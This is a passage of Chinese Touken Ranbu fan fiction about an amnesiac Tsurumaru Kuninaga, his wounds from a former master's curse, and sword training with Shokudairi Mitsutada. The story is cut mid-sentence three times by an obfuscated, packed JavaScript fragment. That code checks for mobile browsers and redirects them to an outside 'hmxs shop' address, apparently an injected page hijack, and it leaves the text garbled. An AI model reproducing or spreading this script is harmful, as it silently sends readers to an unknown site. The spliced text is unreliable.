“因为鹤先生就是鹤先生啊,不是因为强大,也不是因为那些记忆,只是因为是鹤先生而已。即使你不再认为自己是鹤丸国永,但也依旧是我们的同伴,这件事不会因为任何因素而改变,不是吗?” “……”鹤丸有些不知道要怎样才能告诉烛台切光忠,即使是这样,事实也和他所想的不同,不是失去了记忆的鹤丸国永,他从头到尾就根本不是鹤丸国永。 鹤丸又一次陷入了沉默。 “鹤先生现在变得很爱沉默啊,没关系,想到什么都可以告诉我,我会明白你的意思的。” 鹤丸张了张口,反复欲言又止了几次,好像有什么东西堵住了他的嗓子。他现在无比希望那位审神者没打开他嗓子的封印,这样他的逃避还能有一个正当的理由。可他抬眼看到烛台切光忠鼓励的目光时,还是嗫嚅着说出来他的顾虑。 “光坊,我的记忆里没有你,没有贞坊,也没有伽罗,更没有……作为鹤丸国永而存在的记忆,我是一个完全崭新的,只是披着鹤丸国永外壳的。” “……冒牌货。” “嗯。”烛台切光忠的声音很平静。 “即使是这样?” “啊,即使是这样。”烛台切光忠对鹤丸伸出手。“以及,鹤先生,不是冒牌货。” 烛台切光忠的声音很温柔,鹤丸不清楚自己是不是被当成了小孩子对待,应该说,如果真的是这样,他反而会很受用吧?毕竟他现在什么也不记得,什么也不知道,如果太粗暴地对待才会让他碎掉啊。 鹤丸沉默了很久,还是将手搭了上去。 如果你说的话都属实,那我全部都记下了。这些可都是你说的啊,光坊,既然这样,如果你在某一天发现了真相,可就不能怪我的隐瞒了,就让我来试试吧,接受这份,不属于我的感情。 烛台切光忠眼睛一亮。 “鹤先生现在真的很喜欢沉默啊。” “嗯。” “还真是惜字如金的架势啊……哈哈,抱歉,之前在万屋和太多鹤先生说过话了,现在还有点不习惯。” ……可这种时候还能说什么啊?虽然也不是想不到其他的话,但是…… “你原来是喜欢肉麻话的类型吗?” …… 那就。 “带我回家吧。” 5. 被禁锢自由的鹤丸国永 伊达组的部屋亮着灯,在黑夜中可以说是非常显眼,毕竟其他刀派的刃估计还都在大广间,也就只有他们几个早早回来了。鹤丸遥遥一眼就顺着光看到了大俱利伽罗,他抱着胸坐在部屋前,旁边太鼓钟贞宗靠在部屋半开的门上,似乎有些焦急地左右摇摆着。 看着这幅场景,鹤丸不禁感到有些好笑,他有那么值得担心吗?只是说了几句话的时间而已。 太鼓钟贞宗似乎是感受到了鹤丸的目光,突然抬头对上了鹤丸望去的视线,紧接着就像只炸毛的小狮子,猛地跳下了台阶,小跑冲到了鹤丸和烛台切光忠面前。 “小光!鹤先生!”在发光啊,贞坊。 大俱利伽罗不知道从什么时候也围了过来,和太鼓钟贞宗对视后点了点头。 鹤丸带着不确定的预感看向了身旁,看到烛台切光忠脸上安抚的笑。 “欢迎回家!”大俱利伽罗在前拉开了部屋的门,烛台切光忠和太鼓钟贞宗一刃一边地拉住了鹤丸的手,一起冲进了部屋。 鹤丸顺着力道直接扑倒瘫在了被子上,大有一副再也不起来的架势。 烛台切光忠露出了一个带着纵容意味的笑,似乎在考虑怎么防止鹤丸成为第一个被被子憋死的刀剑男士。 大俱利伽罗在一旁放空自己,似乎在盯着存放鹤丸出阵服的橱柜发呆,是想到了上面挂着的白色小球吗? 剩下太鼓钟贞宗左右看了看两位同伴,震惊为什么没人对这个场景发表意见,最后认命地扛起了鹤丸给这张鹤饼翻了个面。 鹤丸:? 虽然知道短刀付丧神不是真正的小孩子,但这种反差过大的场景还是很……让人震惊啊! 鹤丸环顾一周四遭,发现了一件很需要问出来的问题。 “我的东西已经被搬到这边了?”对此,太鼓钟贞宗选择看天看地就是不看鹤丸。 “他不放心你一个人。”鹤丸的视线随着这个声音响起马上换了个目标,没办法,谁叫大俱利伽罗平时真的太少说话了,突然冒出这么一句多少有点稀奇。 太鼓钟贞宗显然不太满意这个限定程度,毫不犹豫就进行了补充。“明明伽罗也很担心鹤先生!”大俱利伽罗张了张嘴似乎想说什么,但最后还是自己撇过头憋回去了。 刚刚这是傲娇抵抗住了自己反驳的本能吧?鹤丸好笑地把视线投向旁边两刃,收到了肯定的眼神回复。 大俱利伽罗看起来快要想夺门而出了。 鹤丸懂得逗人也要适可而止,于是立刻转换了话题。 “先不说你们为什么这么肯定我会被说服,我好歹也是暗堕刀剑吧,你们就没有一点警惕心吗?时政难道没给你们讲过暗堕刀的危险性吗?” 烛台切光忠欲言又止。烛台切光忠止言又欲。太鼓钟贞宗抢答接过麦克风。 “因为鹤先生现在还很弱嘛!” 鹤丸:…… 鹤丸:? 果然刚刚不该自取其辱问这个问题吧?虽然他不是真正的刀剑男士,没有战斗力也是很正常的事情,但毕竟现在披着鹤丸国永的壳子,被戳破这一点还是多少有些尴尬。 “其实最重要的是,鹤先生的暗堕程度并不深,即使是放着不管也不会出什么大乱子的。 嘛……话是这么说,但最好还是要管一下的,只是因为主人并没有这方面的能力,鹤先生的暗堕又没那么严重,所以最好的办法就是靠时间来慢慢消退了,抱歉。”烛台切光忠解释着。 “也还好只是轻度呢,要是再严重一点就只能到时政去净化了。”鹤丸赞同地点点头。 烛台切光忠又联想到一些问题。 即使是在本丸内,其实也不能保证鹤丸完全没有危险,毕竟那个人渣审神者会的东西似乎还不少,如果他使用其他途径,鹤丸的安全可能还真的无法保证。 “既然都说到这种话题了,鹤先生要不要明天去切磋一下试试?” 虽然鹤先生变强多少会提高一些危险性,但依旧在可控范围内,至少……要让鹤先生有基础的自保手段才行。 如果鹤丸能听到烛台切光忠的心声,一定会感慨,不愧是评选本丸最不能缺少的刃时夺得第一名的刃啊,此等体贴细心,恐怕也只有压切长谷部有一战之力了。 “诶,当番吗?”鹤丸有些意外。 烛台切光忠摆摆手。 “怎么会,鹤先生现在还是更需要休息吧,只是去试试战斗的感觉而已,鹤先生还没出阵过吧?”鹤丸点点头,应该说在此之前他连好好拿刀都没有过吧? “明天手合当番的应该是加州殿和和泉守殿吧?”太鼓钟贞宗试着回忆。 “我也记得是这样,但说不好不止是他们两个呢。” 对此鹤丸表示完全能理解原因,新选组那几个家伙总是待在一起啊,就连他之前也会有意把他们放在同一部队,一想到要拆开他们就多少有点良心不安。 …… 是什么时候变成现在这样的?鹤丸躺在被褥上有些沉默。 算了,做刃就要不拘小节,睡吧。 鹤丸用毕生话术说服自己接受了左右为男的现状,努力闭上了眼睛。 然后就做梦了。 鹤丸这下是真的有点想吐槽了,虽然以前也没假吐槽过。无论是做梦环节还是做梦内容都是,这个情节也太老套了吧?渣审做坏事前难道还要看看同人找灵感吗? 鹤丸叹了口气,还是老实地探索起了周围,没办法,来都来了。他转头摇了摇手里存在感极强的锁链……呜哇,好响的声音,质量没差到一定程度的话还真没这么夸张的动静,难道这也是审神者有意为之的恶趣味吗? 算了,还是不要试图理解人渣的脑回路了。鹤丸继续展开探索。说起来现在这样有点像什么RPG游戏啊,简直要素齐全嘛。 周围什么都没有,看着像是地下室的样子。鹤丸若有所思。不出意外应该是天守阁的地下室吧?也就只有这种地方藏的住刃了。 好吧,其实鹤丸没什么观察能力,他能想到这个,完全是因为上方传来了无法忽视的打斗声。 地板膈应质量有点差,甚至还能听到一些透过来的人声,如果鹤丸没听错的话,好像有膝丸和三日月的声音呢。有点惊讶啊,这种事竟然是膝丸不是髭切,难道是髭切已经碎了吗? ……信息量有点多啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685785|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在好像应该直接去了解一下情况才对,但完全没有办法行动啊。 鹤丸看着手上的锁链无奈起来。不过之后这锁链就只剩接近手腕的一截了,应该是有办法断开的吧?只是不知道能断开这东西的事件有没有发生在这次的梦里。 就在鹤丸发散思维时门口传来了脚步声。 “哦呀?鸟丸应该就在这里吧?那~”一脚踹开了门呢髭切。 “虽然现在好像应该跟鸟丸好好解释一下发生了什么,不过,时间紧急,鸟丸还是先抓紧时间逃吧?”髭切笑眯眯地劈开了锁链,然后把手里的刀丢给了鹤丸。 ……疑点实在太多了,如果这锁链这么好断开,那鹤丸国永没什么没进行自救?最重要的是,髭切来这么危险的地方,手里的竟然不是自己的本体刀吗? 虽然疑惑很多,但鹤丸还是没坚持留在这碍事,接住本体刀下一刻就冲出了地下室。反正同为刀剑男士,髭切总不会坑他,更何况以髭切的道行,八成也有自己的打算。哪怕是梦他也不太想给别人添麻烦,更别提是这种紧急的时候了。 但就在他即将见到天守阁情况时。 …… “……鹤先生,鹤先生?” 鹤丸睁开眼看向周围。 “早上好,鹤先生!”太鼓钟贞宗一大早就这么活力啊……该说不愧是小孩子吗,总能从各种神奇的地方挖掘出用不完的精力。 “早上好,贞坊。”鹤丸扶着昏沉的脑袋起身,做了整整一晚的梦,现在精神和没休息基本上有的一拼,更别提梦里的内容那么刺激了。“光坊和小伽罗呢?” “他们去准备早餐了,等下我就带鹤先生去吃饭!”太鼓钟贞宗看着鹤丸完全没休息好的样子,还是忍不住提出了问题。“鹤先生昨天做噩梦了吗?” 鹤丸没有回答,只是抬头看向太鼓钟贞宗。 “贞坊,在什么情况下,你会选择不使用自己的本体刀?” “……鹤先生?” 鹤丸有些沉默,他整理了一下昨晚的信息。 那大概就是鹤丸国永在遇到烛台切光忠小队前的事情了,毕竟锁链都已经斩开,要是还没逃出去大概是不太说得通的,但之后鹤丸国永发生了什么? 如果鹤丸国永没发生意外,那自己为什么会穿越到这里,可他如果发生了意外……不是已经逃出去了吗?是那个审神者还有什么后手吗? 不,也有另一种猜测,这并不是真实发生的,只是作为马甲的背景故事而出现,因此即使去深挖也毫无意义,可鹤丸总觉得不是这样的。 如果这是真实发生的呢? 鹤丸试着站起身,却在这时突然感受到全身每一处都传来了难以忍受的疼痛。 他不可置信地抬起手,手腕处的擦痕和手心的贯穿伤逐渐浮现,像是幻境正在极速破碎。他感受到脸上似乎有什么温热的液体,一滴一滴地顺着脸颊滑落下来。 他的大脑彻底陷入了混沌,从未体验过的痛苦让他失去了思考能力,说真的,鹤丸有些搞不清楚现在的状况了。他只能迟缓地,循着现场唯一的声音来源,抬头看向了太鼓钟贞宗。 “鹤先生?!” 6. 被禁锢自由的鹤丸国永 鹤丸醒过来时观察了一圈周围的环境。虽然不知道本丸的修复室应该是什么样的,但结合他正被泡在水里这件事来看,不出意料这里就是修复室了。 修复液的质感和水差不多啊,他还以为会黏糊糊的像什么药膏一样,鹤丸有些惊奇。 有点好奇自己那身伤被判定为了什么程度的伤势,应该不会要在这里躺好几天吧?那样腰都估计要断在这里了啊。 ……不过说起来光坊还在这。鹤丸转过视线。也不知道自己晕了多久,光坊都在旁边累睡着了,还是不要吵醒他了。 鹤丸叹了口气,转身躺回修复液里开始思考。 无论怎么看都是因为那个梦才导致的吧?虽然他完全不了解两者之间的关联,但多少能确定一些事情了。 第一,渣审也就是他名义上的前主是存在的。 第二,他必须得做什么来推进这件事了,否则他永远都在危险处境里。 他感到自己的小命受到了严重的威胁。 但说真的,他有点想不通,难道梦里的那天……他们没有成功吗? 推门的声音响起,鹤丸的思绪被打断,他抬头看向门后出现的身影。 精干的白色大衣和标志性的医学生眼镜。 是药研藤四郎……倒是也不意外,毕竟这种地方确实是药研的专业领地了。 “……啊,鹤丸殿。”药研藤四郎点点头打了个招呼。“醒了的话先来做个检查吧。” 烛台切光忠听到声响摇了摇头,抬起手揉了揉干涩的眼睛,又随手整理了一下发型。看得出来他很久没好好休息了。随即眼神清明地看向鹤丸。 鹤丸不禁心里感叹,还真是恐怖的清醒速度啊。然后向着刚醒的烛台切光忠招了招手。 “哟,光坊,想我了吗?虽然我确实挺想知道你的回答的,不过现在看来不太适合闲聊啊。”鹤丸指了指药研藤四郎。 烛台切光忠刚想回答的嘴又闭上了,无奈地看着鹤丸笑了笑。 鹤丸支起身体趴在修复池边,看着药研有些疑惑。“什么检查?一般的检查用本体应该就行了吧?” 药研有些欲言又止。 这时门口又一次传来了脚步声,鹤丸明显看到药研松了一口气。 他真的有点想吐槽了,这个本丸的门外是什么刷新点吗?为什么每次聊到重要事情的时候,就会有节点NPC被刷新出来? 吐槽归吐槽,他的目光还是从药研身上转向门口,他倒想看看这个能让药研做出这个反应的是谁,却看到了意料之外的身影。 “山姥切长义?”来刃轻轻点了点头,就当是打过招呼了。 “先代主人向你致歉吧,鹤丸殿。接下来的情况由我说明,由于你前两天的状况我们实在无法解决,所以最后还是联系了时政。”鹤丸的心猛地漏了一拍,不过想到自己现在还好好地在本丸,想必在身份上没出什么问题。 “你身上的伤……无法普通地修复,性质是契约,或者阴阳术类型的约束,并不是现在造成的伤痕。” 烛台切光忠站起身。 “那现在鹤先生……”他语气急切,话语中的担心都快溢出来了。 “是时政负责这方面的人员暂时压制了契约的反噬。”山姥切长义解释。“目前只能通过这种方式缓解。” 鹤丸若有所思。 以他梦里的内容来说,渣审应该是已经死了的,从他身上没有那个家伙的灵力这一点就能证明,否则直接顺着灵力过去都能抓住那家伙。 那么诅咒的锚点既然不是渣审,还能以什么为发动条件? 记忆。 鹤丸锁定了这一点。 刀剑付丧神的分灵之间有什么区别?降临在本丸的刀剑作为经由时政批量诞生的分灵,唯一的区别就是审神者,以及因为这个变量而衍生的不同经历。 如果这份诅咒被绑定在记忆上,无论是现在受的伤,还是他刚来到这里时毫发无伤的样子,就都说得通了。 那么“要怎么解决?”鹤丸出声。 …… 审神者地葵猛拍桌子站起身。 “解决不了?那鹤丸岂不是只能等死了吗?”地葵感到一股热流涌上眼眶。 虽然从鹤丸当时的要求大概也能推测出来一些,那个人渣前主和时政大概有什么关系,但现在意识到这一点时她还是出奇地愤怒了。 连时政都无法解开的契约,不是时政相关的那几个家族的秘术,就是时政队长以上的高层,无论哪一个都逃不开官方人员的包庇。 地葵冷笑几声。 如果她真的是普通的审神者,恐怕现在还真要被某些有心之人狠狠坑上一把了,好在她的背景也不算低,大不了遇到危险的时候把族中长辈摇来帮忙。 “还有可能找出解决办法吗?”地葵追问。 “找到源头或者特定术法的话应该还有办法,这个封印逻辑我已经记录下来了,之后会将上报给巡查组,对有嫌疑的……展开调查。”时政的工作员工点点头,转身离开了本丸。 地葵有些头疼地看向加州清光。 “虽然能理解主人的着急,但果然还是好好休息一下吧?”加州清光忍不住上前劝道。 “……但是鹤丸的情况真的很让人担心,清光不也注意到了吗?” 加州清光默然。 恐怕不只是他,本丸里的刃多少都注意到了不对劲。 从鹤丸最开始被带回本丸,不安和警惕就一直从他的状态中流露出来,对伊达组的陌生更是让人心惊,就好像只是模糊地知道这几个人的存在,从未真切了解过一样。 就算说鹤丸一直被困住,没有见过他们也是说不通的,刀剑付丧神对彼此的了解并不只是从时政才开始的,至少伊达组不可能是。 地葵抿了抿唇。 那时说要把鹤丸的本体刀留在本丸,其实是做好了被拒绝的准备,好在之后提出检查鹤丸状态的请求的,可那时候像个刺猬一样的鹤丸偏偏没有拒绝这个要求。 对自己已经不在意了吗?还是……不愿将不公牵连到无关的人?无论是哪一种猜测,背后的可能性都那么让人心痛无法接受。 那天早上鹤丸殿的本体像是被某种力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685786|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从内部冲破,以刀刃的正中心为中点开始碎裂,蔓延向每一处边缘,即使是她用尽全力压制也没办法彻底控制。大俱利伽罗抱着还在滴血的鹤丸来到天守阁时……算了,还是不太想回忆当时的手忙脚乱。 她回想起自己最初来到时政时。 还是少女的她一眼就被鹤丸吸引,那样高洁的神性……即使在她了解的鹤丸国永真正的性格之后,心中的喜爱也没有任何褪去。 很老套吧?但属于鹤丸国永戴带来的那种震撼,到现在她也再没感受过第二遍了。但地葵也并不那么执着让鹤丸来到她的本丸,哪怕现在已经是她任职的第五年,也只是随缘看待这件事。 怎么说呢……明月果然还是高悬起来比较好吧?无论有没有在她身边,只要明月存在就好。 所以,她不会放过鹤丸的那个人渣前主的。 一旁的加州清光也在思考这件事。 虽然那天的情况没有明说,但在场都是千百年的刀子精,谁还能瞒过谁,多少也能察觉到点不对劲。五虎退那天的表现不就能说明了吗?毕竟平时即使小老虎再不懂事,也不会在开饭的时候乱跑。 据太鼓钟贞宗说,鹤丸殿从完好到变成那副样子只用了不过几秒,情况紧急到来不及做任何准备,他只能匆匆地叫上大俱利伽罗抱上鹤丸就冲到天守阁。 那时候的鹤丸殿低垂着头,无力地摊在大俱利伽罗的身上,已经分不清从哪里开始流淌的血沾淌过了全身,甚至还在一滴一滴不停地坠落在地板上,连眼神都失去了聚焦。 吓到了路过的很多刃呢,五虎退和乱藤四郎来询问情况的时候看起来都要哭了,那天的情况实在太过轰动,连髭切殿和三日月殿都在那天敲开了天守阁的门。 ……大家都很担心鹤丸殿啊,更别提他这个了解更多情况的刃了。 只是得到这个回复真令人不甘心。 …… “也没什么关系吧?”鹤丸看向低落的烛台切光忠。 他从听完山姥切长义说的话开始就一直是这个状态,鹤丸有些纳闷地挠挠头,不知道要说点什么才能哄让烛台切光忠开心点。 “现在不是好好的嘛……再说还是有机会解决的吧?” 说实话,鹤丸没那么在乎自己能不能活下去,也许是失去了记忆的缘故,他实在没什么……生存欲望?如果能解决问题那就活着,解决不了也没什么关系。 虽然他确实还挺好奇这个世界的,但如果真的没有办法了,对这个结果他也不是那么难以接受。 但烛台切光忠总能让他对自己的想法产生犹豫。 也许是雏鸟效应的缘故,鹤丸确实是对烛台切光忠更依赖一些,所以现在他也格外的在意烛台切光忠的心情。 鹤丸叹了口气。 “光坊。”烛台切光忠看过来。 “之前说好了带我去切磋一下的来着吧?”鹤丸从修复液中站起身直直走向门口。 “等等、鹤先生?!” 鹤丸没理会烛台切光忠继续向前走。 “先换身衣服再走啊!” 鹤丸:…… 7. 被禁锢自由的鹤丸国永 鹤丸觉得事情发展变得有些诡异了。 从出了修复室的门开始他就不停地在被偶遇,虽然有理由见见这些刀剑男士挺不错的,毕竟之前只在手机上见过。 他的好奇心还是挺重的,所以这一点对他来说其实也挺值得期待,但是不是有哪里不太对? 最开始见到的乱藤四郎和五虎退状似不经意地路过了修复室门口,一起对着鹤丸递出了一个花环。 嗯,合理。 但为什么会不经意地路过修复室门口啊?这里不是离部屋和活动区很远吗? 然后是小夜左文字提着一篮柿子走到他面前,江雪左文字和宗三左文字在不远处对鹤丸点了点头,鹤丸收下了一块柿饼。 嗯,也还算合理。 但柿子树应该在左文字的部屋附近吧,这一家刃怎么会提着一大筐柿子跑到这边来家庭野餐啊? 接着是坐在路中间喝茶的三日月宗近和莺丸,两刃笑呵呵地邀请鹤丸一起尝尝今天的茶点,并试图递上一杯茶。 嗯,这也可以合理吗?鹤丸沉默地看向烛台切光忠。 到底是什么人把茶点桌挪到路中央的?烛台切光忠扶额。鹤丸并没有接茶,在烛台切光忠把茶桌搬回廊下之后就离开了。 最后是包丁藤四郎一脸纠结地捧着一本杂志,小步小步地挪动到了鹤丸面前,带着一股令人完全无法忽视的信念感交给鹤丸。 “鹤丸先生,请务必,千万要善待它啊!” 鹤丸大概已经猜到这是什么了,但出于无处安放的好奇心趋势下,他还是接过来定睛一看。 《人|妻……》。 嗯,这也……这一点也不合理吧?!不过并不意外呢。 神秘的一期一振以太刀无法企及的高速狂奔到了鹤丸面前,以行动证明了并不存在的合理性。 他一只手提起了包丁藤四郎,另一只手拿走了鹤丸手里的杂志,并换成了一包糖果。 “抱歉鹤丸殿,之后我会带着包丁再拜访的。”然后这位保持着优雅微笑的本丸王子,同样以令人难以置信的机动值带着包丁藤四郎离开了现场。 审神者看到了会怀疑人生的啊。 鹤丸再次看向了烛台切光忠。 烛台切光忠故作镇定地移开视线咳了两声,似乎在思考怎么样才能给这些东西编出一个合理的解释,而显然,他失败了。 “马上就到了,鹤先生。”好生硬的转移话题,破罐子破摔了吗。鹤丸默默吐槽。 鹤丸点点头不再为难他,低头看了看手里的一包糖果,一期一振送的啊……以粟田口常年哄小短刀的需求,糖应该会很好吃吧?鹤丸随手拣了一颗金色的塞给烛台切光忠。 烛台切光忠看着自己手里的糖,笑着揣进了衣兜里。 “大家都很担心鹤先生呢。” “嗯。” “……我看出来了。” …… 烛台切光忠正在思考。 他只是出去准备了训练用的毛巾和护具,再回来时就看到鹤丸学会了打刀的刀法。 并试图用在太刀上。 烛台切光忠:? 烛台切光忠不解。 烛台切光忠大为震惊。 烛台切光忠发出了一点也不帅气的惨叫。 “鹤先生,快住手啊!” 鹤丸听到这声惨叫手一抖,条件反射地松开了握着刀柄的手,转身面对向烛台切光忠。 隔壁的加州清光和和泉守兼定惊诧地转头就看到了这一幕。 烛台切光忠擦了擦并不存在的冷汗,惊魂未定地看着鹤丸,一时间不知道是不是应该生气。 “是谁教你这么用太刀的?”鹤丸沉默。 “我,额,自己学的……?”鹤丸眼神飘向隔壁的两刃。 加州清光:? 和泉守兼定:? 烛台切光忠,加州清光和和泉守兼定一时都对鹤丸陷入沉思。 坏消息,鹤丸已经失忆到连怎么挥刀都忘记了。 好消息,鹤丸作为刀剑男士的本能还在,且学得很快。 更坏的消息,在他们发现这件事时,事情已经发展到来不及挽回了。 “这还真是……”加州清光不知道怎么形容现在的场景,实在是这种事可以说是百年难得一见了。 还要教刀剑付丧神怎么用刀听起来也太诡异了吧?这就像人类学会呼吸一样,刀剑付丧神使用自己的本体就像本能,无论有没有这样的概念,只要拔出刀——就一定能够战斗。 ……鹤丸殿的前主究竟做了什么,才能让一名刀剑男士连这种本能都忘却?是多么痛苦的折磨,改造,甚至是……重锻? 加州清光看向烛台切光忠,而他显然也想到了这一层,眼神变得悲伤且阴翳。 烛台切光忠撇开脸躲过加州清光的目光,他的手紧紧攥着,好像要把手心抠出血痕一样,那是肉眼可见的无法克制的愤怒。对鹤先生做出这种事……真是恶劣的人渣,他简直无法想象,当时的鹤先生遭受了多么难以忍受的痛苦,现在才来到了他们面前。 那份痛苦所带来的阴影,甚至现在还没有消散,一直牢牢地罩在鹤先生身上。即使这样也不愿意放过鹤先生吗? 烛台切想到那天他感到修复室时的场景就一阵窒息。鹤丸的一身白衣几乎彻底看不出原样,被血迹浸染地一塌糊涂,距离碎刀只剩一线之差,他甚至有种,只是呼吸也会让这振脆弱的刀剑顷刻碎裂的感觉。 ?!喂,这样可不太合适吧?加州清光着急地拍了拍烛台切光忠的肩。 “鹤丸殿还等着呢。”他轻轻地说。 “等等,这是什么情况啊?”这是完全在状况外的和泉守兼定。 气氛一时有些沉重。 鹤丸迷茫地看了看周围几人决定闭嘴。 烛台切光忠缓缓叹了口气,把缩的像个鹌鹑的鹤丸抓过来。 “鹤先生,你知道用打刀的方式使用太刀会造成怎么样的后果吗?” 鹤丸老实地摇了摇头。 “如果强行拔刀的话,不仅会对刀造成损伤,还会在某些情况下导致手腕扭伤。最直接的危害是,如果在战斗时没办法第一时间成功拔刀,可是会有危险的啊。” “那光坊来教我吧?” 烛台切光忠一愣。 “除了光坊也没有其他合适的人选了吧?” 烛台切光忠说不准自己现在的感受,他有些意外鹤丸的话,毕竟就在几天前,鹤丸还处在几乎对他完全陌生的状态。他其实已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685787|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做好了准备,用漫长的时间重新和鹤丸熟悉起来,没想到现在就被托付了重任。 他有种想摸摸鹤丸的头的冲动,但还是在最后克制住了。……可不能真的把自己当成家长了啊!如果被其他的鹤先生和烛台切光忠看到…… 烛台切光忠被自己的想象刺激地脸红了一下。 但该说不愧是鹤先生吗?即使是承受了这么多的痛苦,经历了这么多的不公,也愿意公正地看待这个世界和人。 也对,他所认识的鹤先生不正是这样的刃吗? 想到这里,烛台切光忠的眉眼终于放松下来,轻轻地笑了笑,然后顷刻间燃起斗志。 被鹤先生信任了,再一次。看来必须得好好打起干劲了!可不能辜负鹤先生的信任啊! “我明白了。” “我的标准可是很严格的啊,鹤先生。我一定会尽全力教导你的!” 鹤丸迷茫地看着背后燃起斗志火焰的烛台切光忠,有些不明白他为什么突然就变成了现在这样,但总之不是坏事吧? 加州清光和和泉守兼定在后方进行了 *海豹鼓掌×2 …… 鹤丸现在终于知道烛台切光忠为什么要让他做好准备了。 手麻了。他木然地想。已经对着这个木桩子拔刀一百多次了,竟然还要继续吗?他的拔刀习惯真的已经纠正成功了啊? 鹤丸看着手里的木刀,又看了看烛台切光忠,最后看了看加州清光。 和泉守兼定:? 和泉守兼定:“我呢?为什么跳过我了啊?” 对此鹤丸表示:和泉守兼定就不看了,他起不了啥作用。 鹤丸深呼一口气——躺在了地上。 *鹤丸国永使用了耍赖 *烛台切光忠不为所动 *加州清光放弃了行动 *鹤丸国永使用了耍赖×2 *烛台切光忠陷入了沉默 “抱歉,鹤先生,如果现在不尽快改正习惯的话,以后就很难纠正了。”烛台切光忠无奈。 “……” “认真的一面简直是恶魔啊,光坊。”鹤丸认命地叹气。 “这样吧,结束后我会带甜品回来的,作为奖励,所以鹤先生要好好努力啊。”烛台切光忠揉了揉太阳穴,随即环视一圈,最后指定了加州清光。“拜托你了,加州殿,帮我看好鹤先生,我马上就回来。” “诶,我?”加州清光指向自己。 还没来得及发表意见,烛台切光忠已经转身离开了。 剩下加州清光和鹤丸面面相觑。 加州清光试图主动开口。 “烛台切殿把你托付给我了。” “嗯,我知道。” “?” “你们两个为什么要把对话搞得像托孤一样啊?” 鹤丸和加州清光看向和泉守兼定。 “你们原来看得见我啊?” 鹤丸和加州清光又扭头回来。 和泉守兼定:? “他一直都这样?” “一直都这样。” “我们在讲漫才吗?” “……那训练吧?” “别说这么残忍的话。” “喂。” 8. 被禁锢自由的鹤丸国永 “……别笑了。” “咳。” 鹤丸脸红地瞪向烛台切光忠,一身白色调导致他脸红起来格外明显,烛台切光忠撇过头,假装没看到这个“威慑”的眼神。 鹤丸刚刚在加州清光的监督下,完美完成了烛台切光忠留下的训练内容,然后欣然准备好迎接来自烛台切光忠的甜品投喂—— 本来应该是这样的。 但可惜中途来了两位……怎么说呢,非常在鹤丸意料之中的刃,或者说最开始没看到他们才是比较意外的事。 大和守安定和堀川国广。 两刃都是单独时非常可靠沉稳的刃,甚至可以说是“年轻”刃……至少外表年轻的刃里,比较靠得住的类型了。 可众所周知,个人是一码事,这几个家伙凑在一起就又是另一码事了。不出意外,这样的组合会导致引发奇妙的化学反应。 大和守安定从进门起就端着一副沉思的样子,目光死死盯着鹤丸,顺带一提,中途还假装不经意地拽了一把加州清光的围巾,被加州清光一把反杀。 对此,鹤丸多少有些汗流浃背了,虽然清楚被看看也不会少块肉,但怎么说呢……果然还是不太自在啊。 鹤丸往左挪了两步。 大和守安定目光跟随。 鹤丸往右挪了两步。 大和守安定再次跟随。 鹤丸:…… 大和守安定双手合十,猛地一个击掌看向不远处的和泉守兼定。 “呐,你应该也觉得少了点什么吧?” 加州清光抢答:“为什么略过我了啊?” “毕竟清光的话,肯定会说什么——诶?这样的话烛台切殿会生气的吧?这样不好吧?之类的话,所以完全不用再问清光的意见了嘛!”大和守安定一副煞有介事的样子,甚至还非常灵动地模仿着加州清光的语气和神态学了几句。 “不不,这应该是堀川的台词吧?”加州清光发出了非常激烈的反对声。“怎么想也不会是我吧?” 鹤丸看向一直默默站在和泉守兼定身侧的堀川国广,他看起来并不意外,一看就知道类似这样的对话在这个本丸内经常发生,他非常从容地上前一步,发出了铿锵有力的声音。 “我听兼先生的!” 真是一句令人震耳欲聋的宣誓啊。 如果是以前,想必鹤丸一定会为土方组的相处模式海豹鼓掌,毕竟他都搞刀剑○舞了,不就是为了这个来的吗?不看这个看什么? 但可惜,现在的他只是一个迷茫的当事刃,甚至是即将被迫害的那一方,完全不知道这几个刃又想搞什么花活,只能抱着手里的木刀,努力地试图从对话中解析信息。 ……不过现在好像不用了。 鹤丸手里的木刀瞬间被抽走,大和守安定不知道从哪拿出来了一把铲子,就那么直直地塞进了鹤丸的手里。 四双眼睛一起凑到鹤丸面前,亮晶晶地盯着他,似乎在期待他做出什么反应。 鹤丸:? 鹤丸试图理解现状。 大和守安定不是白切黑设定吗?为什么现在完全了变成了混世魔王啊?已经被这个本丸惯成这样了吗? 鹤丸懂了。 鹤丸……应该懂了吧? 可谁家本丸会鼓励鹤丸国永恶作剧啊?有哪里不对吧?就不怕哪天从饭里吃出芥末吗? 虽然心里正在激烈吐槽,但他承认他有点心动了。 